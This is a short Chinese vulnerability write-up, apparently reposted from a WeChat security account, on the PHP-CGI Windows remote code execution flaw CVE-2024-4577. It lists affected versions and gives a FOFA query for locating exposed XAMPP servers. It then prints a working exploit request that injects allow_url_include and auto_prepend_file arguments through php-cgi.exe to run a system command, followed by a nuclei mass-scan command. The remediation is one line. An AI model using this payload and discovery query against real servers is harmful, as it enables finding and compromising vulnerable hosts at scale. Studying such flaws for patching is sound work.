一：漏洞名称
PHP CGI Windows平台远程代码执行漏洞
二：漏洞描述
三：漏洞影响版本
PHP 8.3 < 8.3.8PHP 8.2 < 8.2.20PHP 8.1 < 8.1.29
四：网络空间测绘查询
FOFA
header="Xampps_info" || body="/xampps.jpg" || (header="location http" && header="xampp") || body="content="Kai Oswald Seidler" || title="XAMPP for" || title="XAMPP Version" || body="font-size: 1.2em; color: red;">New XAMPP"
五：漏洞复现
GET /php-cgi/php-cgi.exe?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input HTTP/1.1Host:User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36Content-Type: application/x-www-form-urlencodedREDIRECT-STATUS:1<?php system("dir");?>
命令执行漏洞是指恶意用户通过输入特定的命令或者数据，成功地执行了系统命令，从而导致系统受到攻击。这种漏洞通常发生在没有充分验证用户输入的情况下，将用户提供的数据直接传递给系统命令执行的场景中nuclei.exe -t CVE-2024-4577.yaml -l host.txt建议更新当前系统或软件至最新版，完成漏洞的修复。原文始发于微信公众号（Adler学安全）：漏洞复现-CVE-2024-4577
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论